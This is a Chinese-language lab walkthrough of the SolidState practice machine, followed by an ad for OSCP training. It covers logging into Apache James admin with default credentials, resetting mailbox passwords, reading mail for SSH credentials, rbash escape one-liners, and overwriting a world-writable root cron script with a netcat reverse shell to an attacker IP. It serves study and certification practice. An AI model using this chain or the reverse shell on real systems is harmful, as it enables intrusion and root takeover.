打靶日记 SolidState

admin 2025年4月29日17:10:10评论1 views字数 8329阅读27分45秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 SolidState
nmap -sS -sV -T5 -p- 192.168.10.22 -A
打靶日记 SolidState

二、进行目录枚举

80端口

dirb http://192.168.10.22
打靶日记 SolidState
打靶日记 SolidState
打靶日记 SolidState
nikto -h http://192.168.10.22
打靶日记 SolidState
dirsearch -u http://192.168.10.22 -e* -i 200,300-399 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000
打靶日记 SolidState

25端口SMTP

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.10.22
打靶日记 SolidState

119端口nntp

nntp网络新闻传输协议是一个主要用于阅读和张贴新闻文章(俗称为“帖子”,比较正式的是“新闻组邮件”)到Usenet上的Internet应用协议,也负责新闻在服务器间的传送。

NNTP用于向Internet上NNTP服务器或NNTP客户(新闻阅读器)发布网络新闻邮件的协议,提供通过Internet使用可靠的基于流的新闻传输,提供新闻的分发、查询、检索和投递。NNTP还专门设计用于将新闻文章保存在中心数据库的服务器上,这样用户可以选择要阅读的特定条目,还提供过期新闻的索引、交叉引用和终止。

这里没有什么利用的地方

4555端口james-admin

这里恰好是2.3.2

james 2.3.2版本默认账号密码root

nc 192.168.10.22 4555

将所有的用户列举出来并且重置密码使得用户名和密码一样

┌──(root㉿kali)-[/home/yzy/Desktop]
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
# 输入用户名 root
Login id:
root
# 输入密码 root
Password:
root
# 验证通过,欢迎用户 root 登录,并提示输入 HELP 查看可用命令列表
Welcome root. HELP for a list of commands
# 输入 listusers 命令,用于查看系统中存在的用户账户
listusers
# 显示系统中存在 5 个账户
Existing accounts 5
# 列出第一个用户账户名为 james
user: james
# 列出第二个用户账户名为 thomas
user: thomas
# 列出第三个用户账户名为 john
user: john
# 列出第四个用户账户名为 mindy
user: mindy
# 列出第五个用户账户名为 mailadmin
user: mailadmin
# 输入 setpassword 命令,将用户 james 的密码重置为 james
setpassword james james
# 显示用户 james 的密码已重置成功
Password for james reset
打靶日记 SolidState

110端口pop3

POP 协议支持“离线”邮件处理。其具体过程是:邮件发送到服务器上,电子邮件客户端调用邮件客户机程序以连接服务器,并下载所有未阅读的电子邮件。这种离线访问模式是一种存储转发服务,将邮件从邮件服务器端送到个人终端机器上,一般是PC机或 MAC。一旦邮件发送到 PC 机或MAC上,邮件服务器上的邮件将会被删除。但POP3邮件服务器大都可以“只下载邮件,服务器端并不删除”,也就是改进的POP3协议。

尝试了james,thomas均没有邮件,在john用户发现一封邮件

┌──(yzy㉿kali)-[~/Desktop]
└─$ telnet 192.168.10.22 110

Trying 192.168.10.22...
Connected to 192.168.10.22.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
# 尝试以用户名 john 登录,服务器返回 +OK 表示操作成功
USER john 
+OK
# 尝试以密码 john 登录,服务器返回 +OK Welcome john 表示登录成功
PASS john 
+OK Welcome john
# 执行 list 命令,列出邮件相关信息(邮件数量等),服务器返回 +OK 1 743 ,表明有1封邮件,大小为743字节,后面重复显示了 1 743 及结束符.
list 
+OK 1 743
1 743
.
# 执行 stat 命令,用于获取邮件状态统计信息,服务器返回 +OK 1 743 ,表示有1封邮件,大小为743字节
stat
+OK 1 743
# 执行 retr 1 命令,用于检索编号为1的邮件内容,服务器返回 +OK Message follows 表示即将返回邮件内容
retr 1 
+OK Message follows
+OK 1 743
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John, 

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.
在明迪熟悉该程序之前,请限制她的访问权限。另外,务必给她发送一个临时密码,以便她登录自己的账户。

Respectfully,
James

这说明mindy用户中有一个低权限的用户,里面有密码,这里发现确实有

┌──(yzy㉿kali)-[~/Desktop]
└─$ telnet 192.168.10.22 110

Trying 192.168.10.22...
Connected to 192.168.10.22.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER mindy
+OK
PASS mindy
+OK Welcome mindy
list
+OK 2 1945                                                                         
1 1109                                                                           
2 836                                                              
.                                                                        
retr 1 #接收第一封邮件           
+OK Message follows                                                                                                                        
Return-Path: <mailadmin@localhost>                                                 
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>           
MIME-Version: 1.0                                                       
Content-Type: text/plain; charset=us-ascii                                          
Content-Transfer-Encoding: 7bit                                                 
Delivered-To: mindy@localhost                                                      
Received: from 192.168.11.142 ([192.168.11.142])                                          
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798                  
for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
欢迎加入固态安全网络团队!我们很高兴你作为初级防御分析师加入我们。你的角色对于实现我们组织的使命至关重要。随附的信息旨在作为网络安全入门介绍,并提供资源帮助你顺利过渡到新岗位。网络团队会助力你适应新工作,所以请记住,你可以随时找我们中的任何人寻求帮助。

我们期待你的加入,也期待你在固态安全公司取得成功。
We are looking forward to you joining our team and your success at Solid State Security. 

Respectfully,
James
.
#接受第二封邮件
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 
以下是用于访问系统的 SSH 登录凭据。请记住在首次登录后重置你的密码。
目前你的访问权限受到限制,如果你需要添加任何命令到你的路径中,请随时向你的主管提出请求。
username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.

得到mindy的用户和密码mindy/P@55W0rd1!2@

检查了一下mailadmin用户,没有邮件了

三、getshell

ssh [email protected]
打靶日记 SolidState

在user.txt里发现914d0a4ebc1777889b5b89a23f556fd75

发现在rbash环境,rbash 表明当前使用的 shell 是受限制的 bash (r 代表 restricted ,即受限制的)cd: restricted 则明确提示 cd 命令的执行受到了限制,也就是说,在这个受限制的 shell 环境中,不允许使用 cd 命令来切换到上一级目录

打靶日记 SolidState

rbash逃逸

尝试了均失败

#尝试了
perl -e 'exec "/bin/sh";'
python -c 'import os; os.system("/bin/sh")'

awk 'BEGIN {system("/bin/sh")}'
awk 'BEGIN {system("/bin/bash")}'

/bin/sh
/bin/bash

ssh [email protected] -t "/bin/sh"
ssh [email protected] -t "() { :; }; /bin/bash"# shellshock

这里几种方法都成功了

ssh [email protected] -t "bash --noprofile"
ssh [email protected] "python -c 'import os; os.system("/bin/sh")'"
ssh [email protected] "python -c 'import os; os.system("/bin/bash")'"

ssh [email protected] "export TERM=xterm; python -c 'import pty;
pty.spawn("/bin/bash")'"

ssh [email protected] "export TERM=xterm; python -c 'import pty; pty.spawn("/bin/sh")'"
ssh [email protected] "export TERM=xterm; python -c 'import os; os.system("/bin/sh")'"

-t:该选项用于强制分配一个伪终端

"bash --noprofile":这是在远程主机上要执行的命令。bash 是常用的命令行解释器,而 --noprofile 是 bash 的一个选项,它的作用是在启动 bash 时不加载用户的 ~/.bash_profile~/.bash_login 或 ~/.profile 等配置文件。这样做可以避免配置文件中的设置对当前会话产生影响,有助于创建一个相对干净的 bash 环境。

https://xz.aliyun.com/news/7237可以看下这个师傅写的rbash逃逸很详细

这下可以切换到home目录下了,进如james目录,但是没有发现什么有用的信息

打靶日记 SolidState
find / -perm -4000 -print 2>/dev/null
打靶日记 SolidState
uname -a 
lsb_release -a
打靶日记 SolidState

没有什么exp利用

查看定时任务,没有什么线索

ls -alh /etc/*cron*

法一:查看进程

根据前面的邮件可以知道当前用户权限受限,而且是James发的邮件,如果你需要添加任何命令到你的路径中,请随时向你的主管提出请求

ps -aux | grep james

这里可以看opt目录下有一个james-2.3.2,并且看到run.sh

打靶日记 SolidState

进入opt目录发现有一个tmp.py一个临时脚本用于清理临时目录,这个脚本所有者为root,并且所有用户都有权限,我们可以直接接入命令来提权

${debian_chroot:+($debian_chroot)}mindy@solidstate:/$ cd /opt
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls
james-2.3.2  tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 Jun 18  2017 ..
drwxr-xr-x 11 root root 4096 Aug 22  2017 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py

法二:查看可写文件

find / -perm -0006 -type f ! -path "/proc/*" 2>/dev/null
打靶日记 SolidState
  • -perm -0006-perm 选项用于根据文件的权限来筛选文件。-0006 是一种权限筛选方式,其中数字的每一位分别对应文件所有者、所属组和其他用户的权限,这里的 0006 意味着其他用户拥有写权限(数字 6 对应的二进制是 110,即读和写权限)。前面的 - 表示只要文件满足其他用户有写权限这个条件即可,而不需要严格匹配 0006 这个权限组合。

  • -type f-type 选项用于指定要查找的文件类型,f 代表普通文件,所以这里只查找普通文件,排除目录、符号链接等其他类型的文件。

  • ! -path "/proc/*"! 是逻辑非运算符,表示取反。-path 选项用于根据文件路径来筛选文件,"/proc/*" 表示 /proc 目录下的所有文件和子目录。这部分的意思是排除 /proc 目录及其子目录下的文件。

  • 2>/dev/null:在 Linux 中,2 表示标准错误输出,/dev/null 是一个特殊的设备文件,它会丢弃所有写入的数据。2>/dev/null 的作用是将命令执行过程中产生的错误信息重定向到 /dev/null,也就是丢弃这些错误信息,使终端只显示查找结果。

四、提权

这个tmp.py为root用户所有,这个大概率是个定时任务,脚本的执行权限取决于调用者身份,经过一段时间root会执行这里的定时任务,这时就可以进行提权

打靶日记 SolidState
echo'import os; os.system("/bin/nc 192.168.10.11 6666 -e /bin/bash")' > /opt/tmp.py

最后可以看到确实是定时任务,每三分钟以root命令执行一次

提权成功,得到另一个flag

打靶日记 SolidState

END

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记 SolidState

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记 SolidState
打靶日记 SolidState
打靶日记 SolidState

原文始发于微信公众号(泷羽Sec-临观):打靶日记 SolidState

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月29日17:10:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 SolidStatehttps://cn-sec.com/archives/4014370.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息